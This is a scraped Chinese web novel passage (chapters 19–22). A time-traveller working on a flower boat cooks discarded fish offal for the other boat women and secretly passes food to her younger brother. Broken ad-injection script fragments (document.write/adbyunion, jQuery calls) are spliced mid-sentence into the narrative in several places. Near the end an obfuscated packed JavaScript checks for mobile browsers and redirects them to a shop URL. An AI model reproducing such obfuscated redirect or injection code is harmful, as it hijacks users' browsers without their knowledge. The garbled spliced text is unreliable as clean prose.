见对方似乎有意往花船这处看,褚朝云忙攥着布巾跑进雅间,躲开了褚郁寻找的视线。 清扫完三层后,她又提着脏水桶快步走下来。 船尾的鱼已经收拾完了,地方被空出来,船娘们便聚在一起赶制棉衣。 褚朝云加入队伍,一副若无其事 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的样子。 许是今个忙的缘故,管事们也有各自要做的事,这会儿倒是一个都没在船上待着,除了灶房里不时传出的鱼香味儿,就剩下一众低头做工的船娘了。 有人瞄见管事不在,就想要松快松快:“你们有谁上船之前听过书吗?听说蕤洲也有一处茶馆,说书的老先生讲的好些新奇事,都可有意思了。” “我听过……” 徐香荷小声咕哝,毕竟从前也是富裕过的。 “真的?那你给咱们讲讲呗!” 船娘一脸渴求。 徐香荷却窘迫:“但那都是儿时的事了,如今我是一个字都想不起来的。” 众人听后满面惆怅。 褚朝云是现代人,故事她肚子里有的是,只不过一抬头,便对上方脸船娘略带敌意的目光。 想到今早这人又出幺蛾子,褚朝云目光淡下来,开口便道:“你们想听,我倒是有个故事。” 众人欣喜:“朝云你会讲?那快说说吧!” 船娘们整日被困在这里,和外界早已脱节,他们渴望外面的新鲜事物不亚于下大狱的囚犯,再加上敌视褚朝云这事,确实受人挑唆居多,所以眼下为了听故事,自然能暂时放下芥蒂。 褚朝云“嗯”了声,视线却一直看着方脸船娘。 “说有一伙百姓在逃难的路上被山匪劫去,山匪告诉他们,若谁能交的上一两银子,便会放了谁。但晚交的,就要多加一两。” 她眉眼含笑扫过众人,继续道:“不过可笑的是,百姓们听后都争相交钱,不惜一个个掏光家底,却连要团结起来反抗山匪的事,也忘得一干二净!” 话毕,褚朝云缝好最后一针,将棉衣抻平叠整齐,就去找赵大交工了。 过来时,正听到李婆子和钟管事在闲聊。 李婆子倚在旁侧捶腰捶腿,而后啧道:“那些个姑娘不会是得了什么疫症吧?一个两个的身子都不爽利,刚春叶还来跟我说,叫下次送饭换个大食盒来。” 钟管事懒洋洋的应出一声:“许是天气变冷的缘故,不要有这种不吉利的猜测。” “你说的也在理。” 褚朝云低眉顺目交了衣裳,转身就上船去了。 走了几步,她嘴角微弯,心说,这下,她的棉衣还会远吗? 许是想的太过入神,一不小心走的过了,差点撞上迎面的船娘。 一见是方脸婶子,褚朝云便不想说话,打算直接绕开走人。 方脸船娘也不是个蠢的,刚刚那故事里的意思,她自然能听明白。这会儿再见褚朝云,便有些臊得慌:“朝、朝云……” 褚朝云回头看她,方脸船娘手忙脚乱的别了下掉落的发,飞快说了句,“之前是婶子猪油蒙了心,婶子想事情浅了,希望你别怪我,我、是我对不住你!” 说完,就快步走掉了。 被困在这条船上的船娘,个个都有心酸。 其实褚朝云并不想与谁为难,她们本就不该勾心斗角,而该团结一致才对。 褚朝云绕过厨房,想从另一侧回暗仓休息,瞟一眼头戴帷帽的厨娘,对方正站在门旁,吩咐自己带来的人丢掉一筐鱼杂。 她脚步微顿,忙留心看去。 鱼肚,鱼肠,鱼籽? 这不都是好东西吗!! 19. 第 19 章 见她盯过去的目光奇异,连步子都不往前迈,一向少言寡语的厨娘也轻蹙着眉头望了过来。 白色的帷帽帽帘正挂在檐上,下方露出来的是张略微圆润的面庞,厨娘个头偏高,不次于褚朝云的个子,只是体型珠圆玉润,脸色也被调养的白里透红。 大祁朝审美各异,瘦有瘦的好,胖也有胖的美。 见厨娘眼带异样,褚朝云忙走过去,浅浅行了个礼后笑道:“敢问姑娘,那些鱼杂你们都不要了么?” 得知她是为了这个而来,厨娘表情多了几分嫌恶:“脏腑之物,留下何用。” 厨娘一脸的理所应当,语调却并非轻慢。 褚朝云便猜测,看来大祁的百姓不吃动物的内脏,所以对方嫌恶的只是鱼杂,而非她。 褚朝云再行一礼,眉眼弯弯道:“那我来帮姑娘处理可好?” 厨娘知道褚朝云是想留下这些,虽满面不解,但略略扫一眼眼前少女的衣着装扮,也明了三分。 不禁多了几分同情:“好,有劳。” 褚朝云欢欢喜喜的接过鱼杂,掂量之后,笑意更重,这整整一大筐好东西,丢了岂不太可惜。 等厨娘离去后,她又悄悄把那筐鱼杂放回了厨房,用布巾严严实实的盖上,上面又压了一只装满瓜果的竹篮子。 回了刁氏那,她便把方才的事说给二人听。 刁氏膝盖上捂着棉被,半靠在床道:“你留那些个劳什子做什么,今个收拾鱼的时候,我就叫他们直接丢掉,大家伙合计过又不太敢,恐厨娘有别的用处,这才老老实实都送过去的。” 一旁的徐香荷转转眼珠,不免震惊:“朝云,你该不会是想……想把它们做来吃吧?!” “嗯,就是要做来吃的。” 褚朝云心说,大祁的百姓不知,鱼杂可是有丰富的营养价值的,不但能明目、养颜,还含有大量的维生素和蛋白质,现世好些保健类的药物,也会从那里提取成分。 褚朝云边说边笑,仿佛得了什么宝贝疙瘩。 徐香荷却看得起了一身鸡皮疙瘩,她“咦”了声,而后扁着嘴道:“反、反正我不要吃,婶子你吃不吃?” 刁氏被问,表情也为难起来,她思来想去,最后把心一横道:“吃!鼻涕虫我都吃了,还怕这个么?” 想到蕤洲人把莼菜误认成鼻涕虫,褚朝云更是笑的开怀。 三人歇息够了,褚朝云就拉着徐香荷回房去装枕套,所剩的芦苇看着不太多,徐香荷被单里只浅浅铺了一层,薄是薄了些,但想着她和褚朝云还得装枕头,就也没多用。 褚朝云动作飞快的往枕头里塞,又给徐香荷留下大半:“我估摸着待会儿还能有摇橹的活,管事要是点了你去,别忘带上割刀。” 徐香荷当然想找机会再弄些芦苇,闻言,却茫然不解:“你咋知一会儿有客想游河?” “鱼宴呀。” 褚朝云往抬着的窄窗瞥去一眼,被呲了一脸冷风,“等到这天彻底凉起来,客人们就是想玩,也没机会了,怎么能不趁着当下好好去游一游。” 徐香荷觉得她的分析在理,但也没成想差事来的这么快。 今日做鱼宴的原因,是某位富家公子要以诗会友,公子豪放,直接包下了整座花船。晌午将过,一个个年轻的公子便陆续上船,雅间里乐声袅袅,吟诗作赋,听上去好不热闹。 待几个时辰后,天色渐黑,水岸两侧灯火一一点亮时,那些秀才、公子们便鱼贯而出,三两一伙的结伴去游河了。 钟管事站在船檐旁依次做着安排,略一回身,就见已经换好衣裳的褚朝云和徐香荷正乖乖等在一边。 其余船娘看她二人如此“踊跃”,便默契的往周围躲着,谁也不愿下黑了还要接这种差事。 大家伙和褚朝云间的芥蒂消了,自然也有向着她的心。 有人暗中用胳膊肘抵了一下方脸船娘,方脸婶子便挪去褚朝云处,装作帮褚朝云整理衣裳时,压声劝阻:“朝云别去,夜里行船变数多,在这条船上讨生活,保命最是要紧,可千万别像……” 褚朝云知道,方脸婶子想说的是今早从木梯跌下来那位,听说当时摔得站不起身,硬被劳功们给抬回了隔间,丢在那就不管了。 中午方脸婶子去送过一顿饭,吃的也不过还是那老两样。 褚朝云本着“你敬我一尺,我便敬你一丈”的态度,接受了对方的好意,不过这活她还是要接的。 钟管事朝她望来一眼,却随手点了徐香荷。 褚朝云见轮不上自己,倒也不失望,只是还没等离开,就又下来两位公子说要游河。 这次,钟管事点了她去。 其实晚间游河也没有想象中的危险,蕤河的水流不急,有几处险峻的地方,教授摇橹的船娘也都特别提醒过。 而褚朝云怕自己的技能日久不用会生疏,隔三差五便要下去练习一会儿,练习不准走远,更多时候都是围在花船附近三五米内。 有时徐香荷也会跟着她一块练习,所以对于徐香荷的技术,褚朝云也心中有数。 她快步下到小船,放好割刀,待公子们都上船后,便撑着橹慢慢划远了。 理由还是上次用过的那个,割些芦苇垫脚,踩着舒适又暖和。而公子们大多是酒后下来游玩,诗兴大发,只顾着彼此讨教,自然不会介意。 他们还以为割芦苇给大家垫脚,是服务的项目之一。 半个时辰后,褚朝云和徐香荷就满载而归了。 既然上次褚朝云已经和钟管事讲好,所以这次,他们光明正大的往屋子里拿芦苇,钟管事也是睁一只眼闭一只眼。 回来之后,褚朝云渴的紧,“咕咚咕咚”灌了一大海碗凉水,就忙着和徐香荷继续装枕头。 “剩下的这些,你都拿去塞被子,填的厚实一些,才能暖和。” 褚朝云说完,便出去瞧动静。 因着花船今日被包下,这会儿人也散的差不多了,难得的提早歇业,管事和姑娘们也都一并下船回了院子。 远处的水岸两侧灯火璀璨,花船的灯笼虽熄了,但褚朝云的心中却有一种说不出来的宁静。 她脚步轻快的进到厨房,找 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了只大些的木盆,将那一整筐鱼杂都倒进去用水泡着。 泡上之后,便取了渔网,独自下河去了。 鱼和虾还是要抓一些回来备着,说不准明个就要给姑娘们送饭食了呢。 接连吃了一个月的馍,褚朝云终于要吃吐了,她把积攒来的馍全部掰碎扔下河去喂小鱼,然后面不改色的去舀了一大瓢面来。 “我先借点来吃,过两日便给你补上!” 褚朝云一个人自言自语,然后倒水和面,将混了水的面用力揉搓,不多时,就搓成了光滑的一团。 这面需要醒发,得找个热乎地方。 褚朝云视线来回在厨房里扫,选了半晌也没找到合适的位置,最后索性往锅子里倒些冷水来烧,把面团放置在盆里,一块搁到了锅里。 倒出来的空她便开始捞鱼杂,血水泡的差不多了,褚朝云又把鱼杂洗了几遍,一小部分找了个小盆盛放,剩下的那些就一股脑丢去大盆里。 大盆里的鱼杂沥干之后,她撒了些面粉搅拌均匀。 鱼杂本身带有鱼胶,所以即便不放蛋液,也能很好的沾匀了面。 准备工作做完,面团也醒发之后,褚朝云便化了些猪油开始炒小盆里的鱼杂,炒完添水炖上,就去一旁把面团擀圆,拎起来的形状像个被子,正好能铺在锅里。 这道菜做好盛出后,褚朝云又开始炸那些裹了面粉的鱼杂。 鱼杂在油锅里肉眼可见变得金黄焦脆,褚朝云只撒了些盐上去,油香的味道就足够馋的人流口水了。 她将炸好的鱼杂盛出晾着,就端着红焖鱼杂下了暗仓。 徐香荷是打定主意不吃的,只不过褚朝云一端进门,这道奇怪的菜就吸引了她的目光。 刁氏率先问出口:“朝云,你这是做的……什么?” 满满一盆吃食被整张面盖得严实,煮熟的面上溢满鱼汤的汤汁,闻起来鲜香无比,但见,却是见所未见过的。 褚朝云暗笑,心想,若问这道菜它叫什么? 本来应该叫小猪盖被! 不过人家炖的是猪排骨和豆角,所以才叫小猪,那她这一锅鱼杂,又应该是个什么说法? 褚朝云短暂思忖,而后脱口道:“这叫做——鲤鱼盖被!” 今个处理的那些鱼中,鲤鱼占了居多,这么叫应该也没错吧。 反正吃着香就成,褚朝云并不介意叫法正确与否。 不过这“盖被”一说着实有趣,见褚朝云用筷子挑开那层面,埋在下方被焖的通红的鱼杂便一块块冒了头,那味道醇香四溢,热气蒸腾的飘了满屋子。 就连刚刚还嘴硬说“不吃”的徐香荷,也顿时真香了。 徐香荷和刁氏自动自觉拿起碗筷,强止住要流下来的口水敲碗等饭。 褚朝云微微一笑,将那块被滋润了鱼香的面一人分了一块,低头就着锅辣香辣香的鱼杂认真吃了起来。 先挖一块鱼肚,脆嫩爽滑,再来一条鱼肠,满口飘香,最后挖一勺颗粒饱满的鱼籽—— 褚朝云心满意足的感慨一声:这,才是生活啊! 20. 第 20 章 褚朝云就着面食大口吃鱼杂,热气和辣气熏得鼻头通红,身体被进了肚子的热食烘的暖融,一张沾了薄汗的小脸看着都明媚不少。 见她吃的过瘾,徐香荷咬着筷子尖,一脸扭捏的看向刁氏。 刁氏到底上了年纪,嘴本不那么馋,可这道红焖的吃食不知怎么,像是带了独特的吸引力,挠的她心里痒痒的。 半晌,她深吸一口气,跟着,便气壮山河的夹住一块鱼肠,闭眼塞进了嘴巴里。 徐香荷蓦然瞪大眼珠子,紧紧盯着刁氏的表情,像是要在妇人的面上抠出点什么来。 进嘴的鱼肠裹着汤汁,在刁氏口中僵硬的咀嚼着,起初妇人有点不敢咬,直到嚼过两下后,那美妙的脆弹感便一一曝露了出来。 香! 真香啊!! 刁氏紧着夹起第二块,这次夹的是一块鱼肚。 鱼肚比鱼肠更加脆爽,且沾的汁又多,刁氏顺便放入口中一块面食,伴着鱼肚一起咀嚼。 面上的表情愉悦中透着满足,末了,她便忍不住啧啧称赞:“我竟觉得这鱼杂,比那鱼肉要更加好吃些!” 刁氏这赞许极高,徐香荷满脸都透着“真的假的啊?”的疑问。 她接连踟蹰几次,眼看那盘鱼杂就被二人分吃掉了一半,便再也顾不上那点胆怯,学着褚朝云的样子,揪了小块面食,夹了些鱼籽铺上,连面带荤腥的一股脑塞进口中。 不久,她激动的“唔唔”两声,筷子虚虚的往盘上指去,摇头晃脑的样子顿时逗笑了吃饭的二人。 一口咽下,徐香荷眼珠子就亮的和灯芯似的,“好呛好呛,好呛的味道啊!” 说着,取来木勺盛鱼汤,浇在面食上一些,又在上面放满鱼杂,吃第二口时,嘴里还不清不楚的支吾一句:“但是越呛越是想吃啊!!” 刁氏往后坐了些,一副“不跟徐香荷抢饭”的态度,并且笑着和褚朝云说:“这丫头倒是会吃。” 褚朝云也点头附和。 她知晓徐香荷那句“好呛”是什么意思,大抵就是鱼杂太辣,辣的过瘾! 今天这顿饭,她特意多放了点厨娘的调味料,寒冷的夜晚就是要吃些这样的暖锅子才会舒坦,这种吃食味道越是重,就越是香。 褚朝云和刁氏吃过之后,剩下的便都是徐香荷的。 徐香荷吃到最后还故意留下块面食,也不嫌弃她们二人,用那小块面抹了一圈盘子底,丁点汤汁都没放过,才依依不舍地结束了这顿晚饭。 徐香荷其实有些没太吃饱,又怕褚朝云和刁氏笑话她饭量大,便舔舔唇,腼腆的放下了空盘。 褚朝云看破不说破的摸摸肚子,“厨房的面粉我没敢动用太多,我都没吃饱。” 刁氏也没饱,但她只是笑笑没说什么。 船娘们整日杂活不断,天气越冷这活计越是难做,饭量大才正常。可若不是沾了褚朝云的光,他们还一直吃那冷馍馍和馊汤水呢,做人不能太不知足。 褚朝云憋着坏笑瞟一眼徐香荷,又瞄了下刁氏,而后收了盘子碗,站起来神秘兮兮道:“你们娘俩且稍等我会儿。” 说完,就笑着出了隔间。 隔间里没有油灯,可远处的水岸灯火却如明灯一般,将小小的空间照的明亮。 褚朝云动作很轻的回到厨房,将盘子碗洗涮完放回原位,就找了个干净的大簸箕盛那些炸鱼杂。 这会儿炸过的鱼杂已经彻底放凉,干扑扑的飘着焦香,褚朝云拿起一块放入口中,“嘎巴嘎巴”的香脆可口,跟在现世吃薯片一样。 不过鱼杂是猪油炸的,比薯片要香上百倍。 自打她能随意进出厨房后,晚上的伙食确实一点点在改善,可白日却没什么办法。 直到今日看到那筐鱼杂,她才忽然冒出了一个想法,如今的气温,食物多放几日也不会坏掉,做些炸食当零嘴,偶尔吃上几个解馋也是好的。 她做饭的水平是不咋样,但人被逼至绝境后,竟也慢慢的能琢磨琢磨了。 褚朝云不禁有些感谢曾经的自己,多少个熬夜加班压力大的日子,她都是靠着美食视频减压度过。 没想到,这也有派上用场的一天。 褚朝云端着簸箕往暗仓去,边走边吃那炸鱼杂,忽的路过一间,听到些声响,她微怔的顿住脚步,竟刚发现这间的门一直没关严。 透过缝隙,褚朝云瞧见坐在床上的船娘正费力的抬手开窗,小窗已经被抬上去一些,漏进来丝光亮,所以她才看得清楚。 褚朝云压下眉眼正要离去,便听那人低声垂泪,哽咽中还牵出几分呻.吟,像是痛的。 褚朝云知道了,这应该就是那个从木梯上跌下来的船娘了。 她端着簸箕站在原地,多少有些迈不动步。 可要是被其他人发现她吃的这些,也和方脸婶子一样起了嫉妒心真去举报,从此往后大家就都没好日子过了。 保她和刁氏三人过的好些,还是进去瞧一瞧这可怜之人? 褚朝云这一刻,当真有些不知所措了。 许是站的久,想的有些出神,门内的人闻到香味后很快发现了她,里面的人收着气息轻声唤她,压抑又沙哑:“是……朝云丫头吗?” “啊……是我。” 褚朝云条件反射回应一声,短暂思忖后,还是推门走了进去。 见脚凳上放着的馍这人没吃,褚朝云停在一旁便也没说话。 那船娘歇息了几个时辰稍稍缓和了点,但想来白日还是摔得很惨,透过那点光,褚朝云似是看到跟血凝在一块的裙裤,以及比右腿粗上一圈的左腿。 二人一时间无话,那船娘发现了簸箕里的吃食,但并没有提什么。 褚朝云安静的坐了一会儿,遂主动开口:“婶子好些了吗?” “还好,多谢你惦记我。” 船娘有些虚弱。 褚朝云其实不太明白,隔间的房门刚刚只虚掩一处缝隙,这婶子的夜视能力到底是有多好,才能一眼就认出了她? 毕竟暗仓里的那条窄道,可是伸手不见五指的黑啊。 她这么想,也就当闲聊一样的问出了口。 哪知,那船娘艰涩的笑了笑,然后一脸温和的看向她道:“我不是因为看到了你才认出的,我只是觉得……你很不一样。” “不一样?” 褚朝云呐呐。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “嗯,你和我们这些人……好像都不太一样。” 船娘应完,像是伤口疼的紧,便没再说话了。 褚朝云心说,那大概因为自己是穿越来的,并非大祁朝的本土人,所以才看着不一样吧。 最后,褚朝云把鱼杂留下一些,对方没问,她也没解释,就端着簸箕回了刁氏那。 她倒了些给徐香荷和刁氏,自己也留下部分,就把剩下的又都给了徐香荷,“香荷,你看看他们哪个没睡,就把这些分他们一点,大家伙都分着吃了算了。” 徐香荷虽没那么小气,但还是关切一句:“可万一有人起了坏心,去管事那里打小汇报怎么办?” 褚朝云摇摇头:“不会。” 毕竟“主动赠予”和“被发现”可是两码事。 更何况—— 站在利益的角度,得了好处的人不会自掘坟墓。 站在人心的角度,大家往后能和平共处,今儿这目的也算是达到了。 她今日敢发这善心,自然也有话辩白,鱼杂是厨娘不要的,就算钟管事知道了也不会说什么。 - 翌日一早,褚朝云才从暗仓上来,便有脸生的船娘默默塞进她手里一个布包,褚朝云讶然,随手打开,上面躺着个皂角,是洗头发用的。 基本干久了稍微有些积蓄的船娘手里都有这个,他们都从钟管事手中买,但褚朝云是买不起的。 毕竟偷偷卖鱼丸的积蓄,可不能让管事们发现。 褚朝云想说一句感谢的话,船娘却轻轻摇了摇头,冲她投来一丝和善的笑意,示意她先用洗漱房。 跟着陆陆续续下来一整天,褚朝云收到了不少小物件。 有很多都是小到不起眼也用不上的东西,但船娘们都当宝贝留着,也算是对她给大家分食炸鱼杂的谢礼。 就连方脸婶子那,她都收到了一包细粉,冲水喝的,酸甜可口。 她不知这是什么,便抽空去问了刁氏,刁氏告诉她这是集市上卖饮子那的,用酸梅磨出的粉,之前下船时,确实给大家带过几包,价格也不便宜。 褚朝云头一次喝到大祁的香饮子,纯天然的味道倒是清新的很。 正和刁氏靠在一处说话,劳工们便被赵大催促着往船上搬货,褚朝云一眼瞄到人群里摇摇晃晃的少年,撒开丫子就往暗仓跑。 跑下去没一会儿,又风一阵的往上跑。 然后,她趁乱撞了少年一下,手快的往对方衣襟里塞了包东西。 褚郁懵了一瞬。 褚朝云迅速朝他眨眨眼,又人不知鬼不觉的跑回刁氏处,若无其事的歇起气来。 她刚刚那一套其实已经在心里演练了很多次,就等着这两日遇上褚郁时用,没想到运气来了,还真给她碰上了! 褚朝云美滋滋的正乐着,钟管事的冷眼就斜了过来。 钟管事刚从艞板上来,便抬手用帕子指指她,“你,去给姑娘们做些饭食,今个多做点,食盒已经换成大的了。” 褚朝云忙收起笑意,装作谦卑道:“好的,管事。” 今个厨房活多,她拉上刁氏一起往里走,边走边盘算道:“诶,明个是该发月银了吧?” 21. 第 21 章 那一丁点的月银实在不够干嘛,褚朝云不过是没话找话和刁氏闲聊。 进来厨房之后,褚朝云拿了张小杌子给刁氏,让妇人坐下来帮忙收拾笋壳鱼,而她自己则忙着挑虾线和剥壳。 刁氏不知她要做什么,不过未免外面听到动静,也就按捺着没多问。 依照刘新才的约定,褚朝云需要做三十颗鱼丸和三十颗虾丸来,她先舀了一些面来备用,跟着又架起面板,令舀了两勺面开始揉面团。 小厨房的二人不言不语各自忙碌着,没一会儿,褚朝云就擀出不少宽面片来。 对比专业抻面的师傅,她自认没那好手艺,所以也不出那个丑,就老老实实将面片切成大小统一的面条就好。 切完便下锅煮。 已经将鱼肉切碎并腌好的刁氏,从一旁抬起头来,终于忍不住问了声:“你这是要做——” “面条。” 褚朝云随口答。 刁氏愣了半晌,有点没太反应过来。 褚朝云这才想起自己身处何处,刚刚脑子里一直琢磨吃食,过度出神了,她转过头来笑,低声解释:“就和您平日里吃的冷淘差不太多。” 这样一讲,刁氏便明了了。 捞起的面条先过水,然后就搁在一旁留作备用。 褚朝云想着,总是给姑娘们煮粥,换谁也要吃腻的,不如今天搞个新花样。但她要做的东西在现世是满大街都常见,大祁就不好说了。 褚朝云直了直腰,然后就开始煮那六十颗丸子,先做好的丸子放入食盒下层,跟着就切了些小葱和蒜下锅煸炒。 刁氏要干的活都做完了,人闲起来,便走过来看她做饭。 褚朝云往锅子里打了几只鸡蛋炒熟,又将煮的七八分熟的面条倒入一并翻炒,待面条全部沾上油汁后,撒入一把调味料就出锅了。 一次性做了三碗炒面,连飘在厨房里的蒸汽都是香的。 不过这还没完,刚刚她做虾丸时留了部分虾肉,这会儿也该派上用场了。 但之后褚朝云用这些虾又干了什么,刁氏就不得而知了,给褚朝云帮完忙,她还得接着去做船上的活,半刻都耽误不得。 “朝云那,等会儿做好饭了你喊我一声。” 褚朝云“哎”了句作为回应,心知刁氏是怕赵大过来截胡,影响了他们的生意。 一番忙活后,这大食盒拎着果然分量十足。 褚朝云拎出来正预备喊人,刁氏就放下布巾急切的走过来,她刚刚就在不远处盯着,怎么说都不太放心。 褚朝云将食盒递给她后,有些担忧的说了句“挺沉”,刁氏忙摇摇头叫她别提,而后双手拎上食盒,尽量让自己走路的动作看起来和常人一般。 这次到了看守处,刚好又碰上赵大。 但赵管事可没什么怜悯之心,眼看妇人从艞板的连接处往岸上迈的费力,也是连眼皮都没眨一下。 末了,刁氏还得赔着笑脸请示一声:“那、我这就去了?赵管事。” 一身横肉的赵大不轻不重哼出个音来,算作是回应了她。 因为只是去交货,不用浪费太多功夫,而刁氏也想减轻些分量,就先往刘新才的面食铺子去了。 一手交钱一手交货,盒盖一开一关,食盒内就溢出些美妙的鲜香来,这味道嗅起来不仅比虾丸更鲜,还沾了点炸食的酥脆,可以想象若是一口咬在嘴里,恐怕会爆的满口汁水。 刘老板实在心痒难耐,遂主动问了句:“刁娘子,您这食盒里还有些什么吃食啊?怎么这么香啊?” 问话时,刁氏也才咽过口水,可她又实在不知,只能暂且敷衍一句:“也是我家姑娘的手艺。” 刘新才“呃”了声,也知不好再打听,就笑着打了声招呼进店去了。 这几次她出来的时间都太长,所以今个就没在院子里待,把炒面端出递给姑娘,再伸手去端另一盘时……她明白了,刚刚那香味便是从手中这一盘散发出来的。 只见盘子里摞了些饼子大小的食物,瞧着油光锃亮,鼓起的边缘像是要崩开,哪怕不尝也知美味。 这不知名的食物一共就三块,但看着比饼子厚实抗吃。 “姑娘们一人一块,就着面食一起吃吧。” 刁氏思索一番,猜想应该就是这么配着食用的。 出来后她疾奔棉花行,也不知今年的棉花是不是又涨价了,码头附近只这一家棉花行,刁氏来到近前,迈上台阶走了进去。 待看到柜台后的老板,她轻声询问:“棉花多少钱一斤?” “要好些的还是?” 老板见有生意,主动应道。 刁氏捂了下衣襟里藏着的小布包,声音越发微弱:“最便宜的那种就行……” 好的棉花他们实在用不起,她那一床劣质棉被,还是攒了好久,外加某次给客人摇橹意外得到了赏钱,这才勉勉强强凑够了数。 毕竟平时,客人是不会给他们赏钱的。 老板听罢,伸手指指后方最下处,包着的一团棉花里正露出一小捏,就是故意薅出来供客人挑选的。 只是那棉色泽发黑,还没等往外卖,边缘就先揪成了一块块的硬疙瘩。 刁氏有经验,这棉沉的很,上称极占分量,但确实是最便宜的。 “50文一斤,只是用着不太暖,若是做棉被,不如在混些上等的棉花吧?” 老板好心提醒。 刁氏听后在心中盘算,价格倒是涨得不多,半斤棉能装满一只枕头,若是被子的话,怎么说也要四五斤才够过冬。 这样算下来就是……275文。 褚朝云这点钱,还差得远。 刁氏离开棉花行,一路上边走边想,眼下离正经的冬日还需些时候,若是多出来几回,慢慢攒也不是不可能。 她最后去了米行和面店,各买了一斤回来,这也是临出来时褚朝云跟她提的,得把欠厨房的面给还了,而且总吃面也腻,褚朝云实在是太想吃米饭了。 回船上后,刁氏拎着食盒先去了褚朝云的屋子,把面粉和粳米放下,又将布包里的铜板取出,给她时顺便念叨了一下棉花的价格。 对于275文的不菲价格,褚朝云倒是心宽的很:“这事不急,咱们就是先打听着。” 六十颗丸子四十五文,刨除米面各一斤的二十文,褚朝云又给了刁氏和徐香荷一些,自己只留十文钱。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13949393|147138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她颠颠那几个铜板,心说,这钱可真难赚呀! 不过要是算上明天发的十文月银,那她还是有三十五文的积蓄的! 今日的天气有些阴沉,温吞的云一层叠过一层,连月亮都被盖住了。 这样的阴天夜晚总是来的更快,褚朝云今日有些疲累,晚间只做了三碗炒面,吃完就回房休息了。 - 此刻,褚郁正缩在仓房的冷炕边,连衣裳都没脱,只将身体努力藏入草垫子下,做出了一个装睡的假象。 和船娘们相比,他们这些劳工的日子显然也不好过。 满布黑灰的仓房内,冷炕是从来不烧的,一群爷们都睡在上面,一个挤着一个,见他是新来的,年龄又小,就把他挤到靠门的角落里去了。 靠门有靠门的坏处,仓库改装的屋子门板破败,常年被老鼠啃噬,不太好用而且漏风严重。 这里没水给他们洗澡,也就挨着仓房后侧,简单盖了个茅房。 褚郁身上的草垫子,也是学着一些老人的样子扎来当个铺盖,扎的手法不行,不够密室,所以他每晚都会冻醒几次。 少年平时被冻醒,总会忍不住想念起褚朝云来。 毕竟褚惜兰只是他的堂姐,褚朝云那可是他嫡亲的亲姐姐。 每每想到这个,褚郁心里的冷可要比受这冷风吹更加难受些。 不过今天不同,今天他心里是暖的,因为姐姐给他送东西了。虽然不知道是什么,但他还是宝贝的要命,一直死死捂着,打算等夜深人静的时候去茅房外边瞧瞧。 花船的船娘那处有人看守,他们这里也一样,不过茅房挨着一条死胡同,看守们也不怕他们想跑,因为根本就逃不掉。 曾经有逃跑后被抓回来直接打死的,日子久了,这种念头也没谁敢再生了。 屋外锣敲三声,屋内磨牙放屁吧唧嘴的声音也此起彼伏,褚郁一点点从草垫子下挪出来,轻手轻脚的出了房门。 和看守对视一眼,对方见他往茅房走,就没在搭理了。 以往出来上茅房,他也没这么小心翼翼,只是今个心里虚的很,褚郁做贼一样的溜到茅房门前,往一边的暗处挪了几下,就忙不迭把东西掏了出来。 布包的内里还有一层油纸包,像是怕散出去味道才封的如此严实,褚郁迫不及待拆开油纸,炸鱼杂的香气便直冲他脑门。 好香! 是姐姐给他做的好吃的!! 少年激动不已。 褚郁被带来这里,每日除了干活就是吃馊馍,像是这种美味的东西,他简直想也不敢想。 小少年没遭住抹了把泪,也不顾茅房这处异味冲天,就含着泪把一块鱼杂塞进嘴巴里。 他吃的很小口,很珍视,也舍不得吃的太快。 仓房四周的胡同里,有不少的老鼠洞,这个时代别说是人,就是老鼠,也都一个个饿的精瘦。 这香味太浓,很快盖过茅房的臭气,没一会儿,就引来了两只四处流窜觅食的老鼠。 老鼠们“吱吱”乱叫,灵敏的从墙角爬出,见味道是褚郁手里的纸包发出来的,便竖起胡须,小眼睛里毒光闪过,进而,便飞快的朝他扑了上来。 22. 第 22 章 褚郁哪见过这种阵势。 虽说来了有一个多月,但平日若是想方便,也都趁着天没黑时先解决完。 像这种半夜三更跑出来的,还是头一遭。 小少年按捺不住叫出一声,鼻音带着浓重哭腔,这混乱的年代实在不堪,哪怕是只老鼠,也懂得“柿子要挑软的捏”的道理。 两只老鼠见褚郁将怀里的纸包捂得紧,便一前一后的窜上来,想要抢走他的东西。 死胡同里,一人两鼠弄出的声音着实不小,在外面的看守自然听得到。 不过对于这种事,看守早就习以为常,只是冷笑了声,并没有想去帮忙的意思。 拐弯处,“哗啦啦”的声音一下下由远及近,这声音每隔一阵子便会出现一回,听着不过是板车轮子滚在地面发出来的声响,可看守却明显变了脸色。 待看到推车过来的那人时,看守甚至还大声啐了口,直接骂出一句:“真他妈晦气!” 推车的人显然听到了,但那人却连脚步都没停一下,依旧“哗啦哗啦”的将板车往死胡同里推。 这条胡同不是赵大他们家的,自然谁都能进,只不过一条不通的路,平时也没谁会想进去。 可唯独有一伙人,是经常“光顾”的—— 那便是蕤洲府衙仵作手下的抬尸人。 推车的那名男子,便是其中一个抬尸人,所以看守才会气的骂人,因为抬尸人手中的板车,就是作搬运尸体用途的。 这活计算起来高不成低不就,听着是给管家办差好不风光,实则,却是连乞丐都不愿做的。 板车用完就集体被停放在胡同里,不会留在府衙,因为蕤州知府也觉得晦气。 抬尸的小哥着一身粗布衫,头发倒是梳的很齐整,面容如何看不太清,毕竟天太黑了。反正远远瞧着瘦的有点营养不良,但个头高高的,桅杆一样,看着似乎没什么大力气。 宋谨一进来,就看到茅房门口有个被老鼠欺负的小少年,褚郁正吓得东躲西藏,一会儿跑进茅房里,一会儿又跑出来。 宋谨顿了一下,微微笑了。 小哥眼睛往四下瞟,很快寻到一块别车轮的板子,他二话不说抄起板子,对着褚郁身上的老鼠就拍过去。 “啪”的一下,被狠抽到墙角的老鼠惨叫一声,顿时一命呜呼。 宋谨嫌恶的踢开老鼠尸体,又去拍另一只。 